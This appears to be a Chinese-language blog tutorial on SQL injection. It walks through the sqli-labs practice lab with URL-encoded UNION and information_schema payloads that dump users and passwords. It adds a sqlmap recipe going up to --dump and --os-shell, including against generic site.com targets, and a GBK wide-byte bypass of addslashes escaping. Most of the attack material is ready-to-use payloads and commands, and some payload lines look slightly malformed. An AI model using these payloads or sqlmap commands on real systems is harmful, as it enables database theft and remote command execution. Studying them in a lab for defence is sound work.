SQL注入原理

1.SQL注入是将SQL代码插入到网站应用的参数之中,传入到后台资料库伺服器解析执行的攻击

2.SQL注入的主要方式是直接将SQL代码插入到参数中,这些参数会被置入到SQL命令中加以执行

3.攻击者能修改SQL语句时,该进程将与执行命令的组件(资料库伺服器、web伺服器)拥有相同许可权

SQL注入一般存在于表单提交、搜索框查询等需要后台执行SQL查询的地方

如果开发人员直接使用SQL语句对提交的查询进行执行,或者过滤不严即会产生SQL注入漏洞

例如下面这段PHP代码:

$sql="SELECT * FROM user where username=user and password=pass";
mysql_query($sql);

这段代码向资料库查询了用户名和密码,但是没有经过任何的过滤,这时候如果在用户界面

输入 admin 进行登录会返回错误界面,没有对单引号进行过滤,证明存在漏洞

手工寻找SQL注入

打开浏览器访问101.200.44.127,选择SQL注入练习

用单引号爆出错误信息

发现报了sql语句的语法错误,那么应该存在sql注入,因为没过滤单引号,我们就可以闭合单引号注入什么的

SELECT * FROM users WHERE id=1 这样拿去查询肯定报错啊,单引号都不匹配

为了方便理解我在源码中加了句SQL语句输出

接下来用order by 获取栏位总数

127.0.0.1/sqli-labs/Less-1/?id=1%20%27order%20by%204%23

%20是空格和+号连接符的URL编码,%27是单引号的URL编码

%23是#号的编码,#号的作用是把#后边的语句注释掉

(阿里云的伺服器在经过多次攻击测试后会封掉访问者IP一段时间)

(若代理换ip可以解决上边的问题,考虑到访问速度我没换ip,所以我换成了本机的环境)

可以看到当order by 4时会报错而order by 3返回正常,所以确定栏位数为3。

接下来使用UNION联合查询,UNION可以连接多条语句的查询结果

先查页面所返回的准确列数,用二分法查找构造url方式如下,直到不返回错误

127.0.0.1/Less-1/?id=1%27+union+select+null%23
127.0.0.1/Less-1/?id=1%27+union+select+null,null%23
127.0.0.1/Less-1/?id=1%27+union+select+null,null,null%23

3个null时不再报错证明有3个栏位,这种方式比较费时,可以用工具代替(例如SQLmap)

匹配数据类型:

识别出准确的列数之后,现在是时候选择其中的一列或者几列来查看一下是否存在正在查找的数据了

如果想提取一个字元串的值,需要找到一个数据类型为字元串的列然后用示例字元串替换null

127.0.0.1/Less-1/?id=1+union+select+null,test,null%23

只要应用不反回错误,即可知道刚才存储test值的列可以保存一个字元串,可以用它来显示需要的值

下面查询资料库的各种信息

可以看到只有第2列和第3列的结果显示在网页上,所以我们就只能用2,3这个位置了,但是两个位置应该是不够用的,这时我们就用到资料库的连接函数了,常用的就concat和concat_ws,其中concat_ws的第一个参数是连接字元串的分隔符,还会用到group__concat(可以把查询出来的多行连接起来)

用的较多的就是这个,以后直接复制(32是空格的十进位ASCII)

concat_ws(char(32,58,32),user(),database(),version())

user():返回当前资料库连接使用的用户

database():返回当前资料库连接使用的资料库

version():返回当前资料库的版本

构造URL攻击:

127.0.0.1/Less-1/?id=xk%27 //注意这里将id换成了字元串类型
+union+select%201,2,concat_ws(char(32,58,32),user(),database(),version()%23

获得了资料库用户,资料库名,资料库版本

查询security资料库中有哪些表:

mysql资料库有个系统资料库information_schema,安装完就有,

记录是当前资料库的资料库,表,列,用户许可权等信息,

下面说一下常用的几个表:

SCHEMATA表:储存mysql所有资料库的基本信息,包括资料库名,编码类型路径等,show databases的结果取之此表。

TABLES表:储存mysql中的表信息,(当然也有资料库名这一列,这样才能找到哪个资料库有哪些表嘛)包括这个表是基本表还是系统表,资料库的引擎是什么,表有多少行,创建时间,最后更新时间等。show tables from schemaname的结果取之此表

COLUMNS表:提供了表中的列信息,(当然也有资料库名和表名称这两列)详细表述了某张表的所有列以及每个列的信息,包括该列是那个表中的第几列,列的数据类型,列的编码类型,列的许可权,列注释等。show columns from schemaname.tablename的结果取之此表。

查询information_schema中的信息时,使用where语句,那个值不能直接用英文,要用单引号包裹著,用其十六进位表示也可以,数值类型的就不必用单引号了

通过limit列举表名字

127.0.0.1/Less-1/?id=xk+union+select 1,2,table_name from information_schema.tables where table_schema=0x7365637572697479 limit 0,1%23
127.0.0.1/Less-1/?id=xk+union+select 1,2,table_name from information_schema.tables where table_schema=0x7365637572697479 limit 1,1%23
127.0.0.1/Less-1/?id=xk+union+select 1,2,table_name from information_schema.tables where table_schema=0x7365637572697479 limit 2,1%23
127.0.0.1/Less-1/?id=xk+union+select 1,2,table_name from information_schema.tables where table_schema=0x7365637572697479 limit 3,1%23
127.0.0.1/Less-1/?id=xk+union+select 1,2,table_name from information_schema.tables where table_schema=0x7365637572697479 limit 4,1%23

第一个表:

第二个表:

第三个表:

第四个表:

第五个时候会出错什么都不显示:

可以看到跟用phpMyAdmin查看的结果是一样的:

接下来列举列名,同样也是用limit一个一个来,就知道栏位有id,username,password

那么最后一步了:也就是所谓的脱库,把用户名密码拖出来

但是这样试速度太慢,所以下面我们用注入神器SQLmap来操作一波:

安装过程略过,自己去搜索,我用的是kali上集成的SQLmap。

SQLmap -h 这个命令可以获得SQLmap的参数使用帮助

验证注入:

sqlmap -u "http://192.168.0.21/Less-1/?id=wintry"

可以看到存在的注入类型:基于错误、基于时间的盲注、联合查询等~

资料库类型是Mysql、伺服器系统为windowsweb应用程序PHP和Apache的版本等信息

接著列举资料库名

sqlmap -u "http://192.168.0.21/Less-1/?id=wintry" --dbs

查到了15个资料库,接下来我们要查询security这个资料库的表

sqlmap -u "http://192.168.0.21/Less-1/?id=wintry" -D security --tables

如图,轻松获取4个表。

接下来当然是得到表中的列了

sqlmap -u "http://192.168.0.21/Less-1/?id=wintry" -D security --tables -T users --columns

得到3个列名

然后就是把栏位搞出来了,也就是所谓的脱库

sqlmap -u "http://192.168.0.21/Less-1/?id=wintry" -D security --tables -T users --columns --dump

获取到了所有用户名和密码~~~

最后附上两个SQLmap使用案例

GET参数注入案例

1.验证某个SQL注入是否有效

sqlmap -u "http://site.com/info.php?user=test&pass=test" -b

2.获取资料库用户名

sqlmap -u "http://site.com/info.php?user=test&pass=test" --current-user

3.交互shell

sqlmap -u "http://site.com/info.php?user=test&pass=test" --os-shell

技巧和提示:

1)若你认为存在注入,但是sqlmap没检测出来,使用选项 --dbms=[database type]

2)若目标要求用户进行登录认证,用Burp获取cookie,使用 --data=[cookie]

3)卡住了?试试这个命令 sqlmap --wizard

POST注入案例

1.验证SQL注入

sqlmap -u "http://site.com/info.php?" --data="user=test&pass=test" -b

2.获取资料库用户名

sqlmap -u "http://site.com/info.php?" --data="user=test&pass=test" --current-user

3.交互shell

sqlmap -u "http://site.com/info.php?" --data="user=test&pass=test" --os-shell


细分SQL注入类型

主要有 数字型、字元型、搜索型

1.数字

SQL语句特点:1

判断方式:

and 1=1

and 1=2

2.字元

SQL语句特点:admin

判断方式:

and 1=1

and 1=2

3.搜索

SQL语句特点:%9%

%通配符

判断方式:

% and %1%=%1

% and %1%=%2


SQL注入-高级篇宽位元组注入

宽位元组注入,我们也可以称之为转义绕过。

宽位元组注入源于程序员设置MySQL连接时错误配置为:set character_set_client=gbk,

php代码:mysql_query("SET NAMES gbk");

这样配置会引发编码转换从而导致的注入漏洞。(GBK导致的问题)

utf-8 3个位元组

gbk 2个位元组

具体原理如下:

当GPC开启(php.ini

magic_quotes_gpc = On)或使用addslashes函数过滤提交的参数时,

测试注入点使用的单引号 就会被转义为:

显而易见:函数的作用就是转义(对铭感的字元前面加 反斜杠 )

字元对应的URL编码:

%5c

%27

绕过:

%5c%df%27

百分号后边两个字元的ASCII码和大于128即可

构造注入点:

http://localhost:8080/sql1/sql1.php?title=1%bb

直接丢到sqlmap里面


推荐阅读:
相关文章